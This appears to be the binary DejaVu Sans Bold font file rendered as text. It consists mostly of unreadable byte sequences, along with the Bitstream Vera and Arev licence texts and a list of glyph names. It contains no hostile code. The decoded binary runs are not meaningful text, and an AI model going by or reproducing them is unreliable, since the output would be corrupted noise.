�h�|�L��Ll��\��T�$Dd����,Ll����$4Ll����,Ddt������,Lt�������<l|��� l!!�"�$$@$p$�$�%%`%�&�&�' 'h'�'�(@(|(�(�)0)�**�+L,--`-�-�..H.�.�.�/p/�000�1@1�2202X2�2�2�2�3343P3l3�3�4D4�4�4�5(5�66D6�6�77`7�7�8<8|8�99@9�9�:0:�:�;;`;�;�< <`<�<�= =|=�>(>�>�?`?�?�@<@�AhA�A�B$BhB�CCtC�DDHD�D�E�FLF�F�G�G�HH�I|I�J<K<K�K�LLHL�MM<M�M�NNXNlN�O@OXOpO�P�P�P�Q�RR R�R�S|S�S�T$TtT�T�UVW�Y�ZT[�\�\�\�]]@]X]�]�]�^D^�_ _h_�`(`�`�axa�b�c(d d�etfhf�g8g�hhh�h�h�h�ii$i�i�j@j�j�kkXlDl�mTm�nnln�oolo�o�pXp�qqHq�rLr�r�s\s�t<t�uhvv\v�w$w�w�x$xxx�y\y�z\z�{{\{�|4|�|�}\}�~D~�4����$�\�����t�(�������t�X�H�������4�p������l�����@�t�����8�����\���t������D�������,�T�������T�������L�������(�����$�h�����0�h���h�0������h�����D�����H�|����\���t���D�����T���P���0�����`���������`����4��������\��������$������4�`�|���� �D�d��������(�H������������4�����(�`���0���T����������<������(�`��������0�T�x�������L�������0�h�����������,�����8���x���l����T�������8�lӤ����PԐ���$�H�lՐմ���� �D�dֈ֬������0�T�|פ����$�T؀ب����$�P�x٨����$�P�|ڤ����$�L�pۜ������D�pܘ����0�dݘ����8�pި����H�|߰����4�`������4�h����� �L������<�p�����X����0�`����,������H�h��������4�P�l��������<�P�l��������0�L�h������������T�h�|�������$�H�\�t�����4�L���@���P��,�X�t��������<�X����������(�T�p��������,�H�t��������$�X���,���<�4�������8�����H��(P� t�� L|� <Tl�Hp�� Lt� `��`�`�		0	X	�	�	�	�
l$��d��xD�L�!@!x!�"d"�$%�&&4''�(h))�*�+P,/�01,2�5�606�7,7�88�9�;;�<@<�==4=T=t=�=�=�=�?`@<AA�B�CtDD�E,E�FF`F�GPG�HdH�IlI�J�K@LL�M MtNN�O`P�R�SPTlU�V�X,Y$Y�Zl[8[�\@\�],]�^�^�_`<a$ada�b$b�b�c c�dte\ghhLi`j�k|l�m�n�oXpdq�r�s�t�t�u�v�w�yl{4{�|�|�}�}�}�}�}�~~(~�~�P�H������@�������P��D����T�4�������������\���|���T��������@����l���<�������H�����@�����d����H�������������\���$�h���t�h����X�����,�����,���h�0Ɛ�Ǽ�$ȼ�L�ʘ�ː��T̼� �x�8�|���$ϔ�P���D�t������8��L����l���L���h���@���t������@�����������������l������<�d��������<����������@�p	�
�
H4P�h��$�xd��� ��,X��X���Px��� L � � �!D!�!�"0"|"�#$#|#�$�$�%4%�&4&�'t(T(�*+T+�,P,�,�- -T-|-�-�-�.,.�/H011�2l3�3�44h4�4�5,5x5�5�5�66(6<6X6t6�6�6�6�77$7H7l7�7�7�7�88$8H8l8�8�8�8�9(9L9x9�9�9�::$:H:d:�:�:�:�;;<;h;�;�;�<<4<X<|<�<�<�=$=X=|=�=�>>4>h>�>�>�??$?H?d?�?�?�?�@@<@h@�@�@�AA4AXA|A�A�A�B$BXB|B�B�CC4ChC�C�C�DD<DhD�D�D�EE<EhE�E�E�F(F\F�F�F�GGHGtG�G�HHDHxH�H�IIXI�I�I�JJ$JHJdJ�J�J�J�KK<KhK�K�K�LL4LXL|L�L�L�M$MXM|M�M�NN4NhN�N�N�OO<OhO�O�O�PP<PhP�P�P�Q(Q\Q�Q�Q�RRHRtR�R�SSDSxS�S�TTXT�T�T�UU<UhU�U�U�VV<VhV�V�V�W(W\W�W�W�XXHXtX�X�YYDYxY�Y�ZZXZ�Z�Z�[([T[�[�[�\\X\�\�\�](]\]�]�^^D^x^�^�__X_�_�``H`�`�aaHa�a�b$bpb�b�c�d�e0e�ffDf�f�f�ggTg�g�g�hLii�j�j�k|ll�m�nhn�o�p�q�r<ss�tXuutu�u�vv,vhv�v�w,wtw�xxHyy�z8z�{<{�|P|�}4}�~L~�8���\������d�����8�����|����0�x���$�����0��� ������x����P�����(�|������� �L�x������H��������D�p�������(�X��(�d�������8�\�����(�������������\������T����D�����h���8�`�����X������4���,������(�t���\�����������L����p���(���8�����,�����<����x���8�����X������������`�����(�8�H�X�h�P������X���t�����$�t�����0�@�t���d�t�������$���P���l�����8���d��4�D��H�X�����@�l��8��������,�P�`�x������������ �8�P�h��������������(�@�X�pˆ ¸�������0�H�`�xÐè������� �8�P�hĀĘİ�������(�@�X�pňŠŸ�������0�H�`�pƀ�������� �0�h�xLjǘǨǸ����������|ȌȜȬȼ����(ɘɨɸ������,�pʀ�������,�<�L�xˠ˰�����̀��4�L��,΀��dϸ��8�|м�����t����(Ӱ�$Ԁ���L�\�l�|դ������@�h֐ָ����$�H�lאװ����4�`�tؼ��,�\٨�ژ�4�D���� ܄�X��ހ���|���H��4��8�H�X����(�P���D���h���P��8���X���$����\�|����D�T�|������p����\���l���|���t��l��P�`�����0��������$�H�\�p��������������0�D�X�l��������������`���<���8���(�����X��t���H��������\��l�`�8� p�X��h�8�@�	�	�
X
�(��X�
4
�X�4�P�P�T�h�t��`���$��h`x��|�� L x � �!T!|!�!�!�!�"""4"L"d"|"�"�"�"�###0#H#`#x#�#�#�#�#�$$ $8$P$h$�$�$�%%$%<%T%l%�%�%�%�%�%�&&,&D&\&t&�&�&�&�&�'''4'L'd'|'�'�'�'�'�(($(<(T(l(�(�(�(�(�(�)),)D)\)t)�)�)�)�)�***4*L*d*|*�*�+H+X+h+�+�+�+�+�+�,,(,@,X,p,�,�--,-D-\-t-�..,.<.T.l.�.�.�.�.�.�//,/D/\/t/�/�/�/�040D0T0l0�0�0�0�0�0�0�0�0�0�0�0�0�0�0�0�0�0�0�1 1h1|1�1�1�1�22202H2\2t2�2�2�2�2�2�33$3<3T3l3�3�3�3�3�3�44D4\4t4�4�4�4�4�55545L5d5|5�5�5�5�5�66�77�7�7�7�7�7�8\8t8�8�8�99(98::�;0;H;`;x;�;�<t<�=�=�=�=�=�>>�>�?x?�?�?�?�?�@|@�ATAlA�A�A�A�A�A�BB,BDB\BtB�CTC�D<DLD�D�E4EDE�FtGG,GDG\GtG�HH�ILI\I�JJ�J�J�J�KKK4KLKdK|K�K�LTLTLTLTLTLTL�MM�M�NNPN�N�N�O�O�O�PPDPxP�Q\Q�Q�R<R�R�R�SS`S�TT�T�U$ULU�U�U�U�VVPVlV�V�V�V�WW,WXW�W�W�W�X$XLXtX�X�X�YYDYlY�Y�Y�ZZ8Z`Z�Z�Z�[[,[T[|[�[�[�\$\L\t\�\�\�]]@]h]�]�]�^^4^\^�^�^�__,_T_|_�_�_�` `H`t`�`�`�aa<aha�a�a�bb4b\b�b�b�cc(cTc|c�c�dd�eDe�e�fLf�f�g gLg�h<ii4i�i�j\j�j�k�l$l�mm�m�n�oHo�o�p$plq\q�rlr�sxs�t�t�u�u�vvpv�www,w<wLw\wlw|w�w�w�w�w�w�w�w�xxx,x<xLx\xlx|x�x�x�x�x�x�x�x�yyy,y<yLy\yly|y�y�y�y�y�y�y�y�zzz,z<zLz\zlz|z�z�z�z�z�z�z�z�{{{,{<{L{\{l{|{�{�{�{�{�{�{�{�|||,|<|L|\|l|||�|�|�|�|�|�|�|�}}},}<}L}\}l}|}�}�}�}�}�}�}�~�~�H��,���D���x�� �0�@�P�`�p��������������L�H������0�����(���`�T���H���t�p�������\���P�����l�,�(�d�������������<�0����@��ҌՔ�����(٤�`�\ܘ����D���<��t�h�$� �\���������|�8�4�p���HD�	����|8,��"@$�'�*x-�..�/�0�1X2D3\45<6P7@7�8�9�:h; ;�<�=�>�?�@PA�B�C|D,EE�F�G$G�H�I4I�J�K\LdMLNN�ODO�P�QQ�R�S�T�U�V�W�YZ@[L\]^^�_�_�`$`�`�aPa�bbtd|gdi�k�l�m�oDp$qrr�tu$u�v�w�x�y�z�{l|$|�}x~l$����������l�D��������D�T�(���������������������|���<�\�0������������4�t�����D��H������h���D����d��������0�T����� ���l�������������@�`�������������0�H�`�x���������� �@�p���(���������� �<�X�t¬�������8�T�pÌè������4�LĨ�������(�H�`����������<ƌƤƼ����0�H�`�xǐǨ�������4�TȨ��Xɐ����0�hʘ����� �L�xˠ�̄���(�\͐��l����D�tϨ����hд��Lј����<�h���\����LԄ���4Ոռ���(�\֘���0ל��8�tج��d���� �Lڀڼ���x�܌ܸ����D�|ݬ���(�d���t��� ������,�P�t������T���$�<�\�t���������,�L�l���������,�D�\�t����������4�L�d�|��������$�<�T�l����`���L�d�|����������$�<�T�l����������,�D�\�t���������4�T�t�������0���4N+x@�!>�2�� S~��-
�(�4;�;�;�	0	�	�	 �	 1	d	�	"�	:�	
%:K	h;%	;�	;�Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.
DejaVu changes are in public domain
DejaVu SansDejaVu SansBoldBoldDejaVu Sans BoldDejaVu Sans BoldDejaVu Sans BoldDejaVu Sans BoldVersion 2.37Version 2.37DejaVuSans-BoldDejaVuSans-BoldDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain. Glyphs imported from Arev fonts are (c) Tavmjung Bah (see below)

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is
a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy
of the fonts accompanying this license ("Fonts") and associated
documentation files (the "Font Software"), to reproduce and distribute the
Font Software, including without limitation the rights to use, copy, merge,
publish, distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to the
following conditions:

The above copyright and trademark notices and this permission notice shall
be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular
the designs of glyphs or characters in the Fonts may be modified and
additional glyphs or characters may be added to the Fonts, only if the fonts
are renamed to names not containing either the words "Bitstream" or the word
"Vera".

This License becomes null and void to the extent applicable to Fonts or Font
Software that has been modified and is distributed under the "Bitstream
Vera" names.

The Font Software may be sold as part of a larger software package but no
copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT,
TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME
FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING
ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE
FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome
Foundation, and Bitstream Inc., shall not be used in advertising or
otherwise to promote the sale, use or other dealings in this Font Software
without prior written authorization from the Gnome Foundation or Bitstream
Inc., respectively. For further information, contact: fonts at gnome dot
org. 

Arev Fonts Copyright
------------------------------

Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.

Permission is hereby granted, free of charge, to any person obtaining
a copy of the fonts accompanying this license ("Fonts") and
associated documentation files (the "Font Software"), to reproduce
and distribute the modifications to the Bitstream Vera Font Software,
including without limitation the rights to use, copy, merge, publish,
distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to
the following conditions:

The above copyright and trademark notices and this permission notice
shall be included in all copies of one or more of the Font Software
typefaces.

The Font Software may be modified, altered, or added to, and in
particular the designs of glyphs or characters in the Fonts may be
modified and additional glyphs or characters may be added to the
Fonts, only if the fonts are renamed to names not containing either
the words "Tavmjong Bah" or the word "Arev".

This License becomes null and void to the extent applicable to Fonts
or Font Software that has been modified and is distributed under the 
"Tavmjong Bah Arev" names.

The Font Software may be sold as part of a larger software package but
no copy of one or more of the Font Software typefaces may be sold by
itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL
TAVMJONG BAH BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the name of Tavmjong Bah shall not
be used in advertising or otherwise to promote the sale, use or other
dealings in this Font Software without prior written authorization
from Tavmjong Bah. For further information, contact: tavmjong @ free
. fr.Fonts are (c) Bitstream (see below). DejaVu changes are in public domain. Glyphs imported from Arev fonts are (c) Tavmjung Bah (see below)

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is
a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy
of the fonts accompanying this license ("Fonts") and associated
documentation files (the "Font Software"), to reproduce and distribute the
Font Software, including without limitation the rights to use, copy, merge,
publish, distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to the
following conditions:

The above copyright and trademark notices and this permission notice shall
be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular
the designs of glyphs or characters in the Fonts may be modified and
additional glyphs or characters may be added to the Fonts, only if the fonts
are renamed to names not containing either the words "Bitstream" or the word
"Vera".

This License becomes null and void to the extent applicable to Fonts or Font
Software that has been modified and is distributed under the "Bitstream
Vera" names.

The Font Software may be sold as part of a larger software package but no
copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT,
TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME
FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING
ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE
FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome
Foundation, and Bitstream Inc., shall not be used in advertising or
otherwise to promote the sale, use or other dealings in this Font Software
without prior written authorization from the Gnome Foundation or Bitstream
Inc., respectively. For further information, contact: fonts at gnome dot
org. 

Arev Fonts Copyright
------------------------------

Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.

Permission is hereby granted, free of charge, to any person obtaining
a copy of the fonts accompanying this license ("Fonts") and
associated documentation files (the "Font Software"), to reproduce
and distribute the modifications to the Bitstream Vera Font Software,
including without limitation the rights to use, copy, merge, publish,
distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to
the following conditions:

The above copyright and trademark notices and this permission notice
shall be included in all copies of one or more of the Font Software
typefaces.

The Font Software may be modified, altered, or added to, and in
particular the designs of glyphs or characters in the Fonts may be
modified and additional glyphs or characters may be added to the
Fonts, only if the fonts are renamed to names not containing either
the words "Tavmjong Bah" or the word "Arev".

This License becomes null and void to the extent applicable to Fonts
or Font Software that has been modified and is distributed under the 
"Tavmjong Bah Arev" names.

The Font Software may be sold as part of a larger software package but
no copy of one or more of the Font Software typefaces may be sold by
itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL
TAVMJONG BAH BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the name of Tavmjong Bah shall not
be used in advertising or otherwise to promote the sale, use or other
dealings in this Font Software without prior written authorization
from Tavmjong Bah. For further information, contact: tavmjong @ free
. fr.http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/LicenseDejaVu SansDejaVu SansBoldBold�~Z4	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�bcdefghijklmnopqrstuvw�xyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������												
			
																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

������������ !"#$%&'(�)*+,-./0��123456789�:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������������������









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./01234	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01C4uni01C5uni01C6uni01C7uni01C8uni01C9uni01CAuni01CBuni01CCuni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DEuni01DFuni01E0uni01E1uni01E2uni01E3uni01E4uni01E5Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F1uni01F2uni01F3uni01F4uni01F5uni01F6uni01F7uni01F8uni01F9
Aringacute
aringacuteAEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0221uni0222uni0223uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0242uni0243uni0244uni0245uni0246uni0247uni0248uni0249uni024Auni024Buni024Cuni024Duni024Euni024Funi0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BAuni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C2uni02C3uni02C4uni02C5uni02C8uni02C9uni02CAuni02CBuni02CCuni02CDuni02CEuni02CFuni02D0uni02D1uni02D2uni02D3uni02D4uni02D5uni02D6uni02D7uni02DEuni02DFuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02ECuni02EDuni02EEuni02F3uni02F7	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
